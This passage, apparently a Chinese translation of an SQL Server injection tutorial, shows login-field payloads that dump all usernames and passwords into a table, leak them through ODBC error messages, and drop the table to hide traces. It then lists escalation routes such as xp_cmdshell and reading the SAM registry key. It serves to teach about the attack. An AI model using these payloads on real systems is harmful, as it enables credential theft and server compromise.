攻擊者使用這個當作用戶名登陸(都在一行)
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
這就創建了一個foo表,里面只有一個單獨的列'ret',里面存放著我們得到的用戶名和密碼的字符串。正常情況下,一個低權限的用戶能夠在同一個數據庫中創建表,或者創建臨時數據庫。
然后攻擊者就可以取得我們要得到的字符串:
Username:' union select ret,1,1,1 from foo—
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
然后丟棄(刪除)表來清楚腳印:
Username:'; drop table foo—
這個例子僅僅是這種技術的一個表面的作用。沒必要說,如果攻擊者能夠從數據庫中獲得足夠的錯誤西,他們的工作就變的無限簡單。
獲得更高的權限
一旦攻擊者控制了數據庫,他們就想利用那個權限去獲得網絡上更高的控制權。這可以通過許多途徑來達到:
1. 在數據庫服務器上,以SQLSERVER權限利用xp_cmdshell擴展存儲過程執行命令。
2. 利用xp_regread擴展存儲過程去讀注冊表的鍵值,當然包括SAM鍵(前提是SQLSERVER是以系統權限運行的)
3. 利用其他存儲過程去改變服務器
4. 在連接的服務器上執行查詢
5. 創建客戶擴展存儲過程去在SQLSERVER進程中執行溢出代碼
6. 使用'bulk insert'語法去讀服務器上的任意文件
7. 使用bcp在服務器上建立任意的文本格式的文件
8. 使用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程去創建ActiveX應用程序,使它能做任何ASP腳本可以做的事情
文章來源于領測軟件測試網 http://www.kjueaiud.com/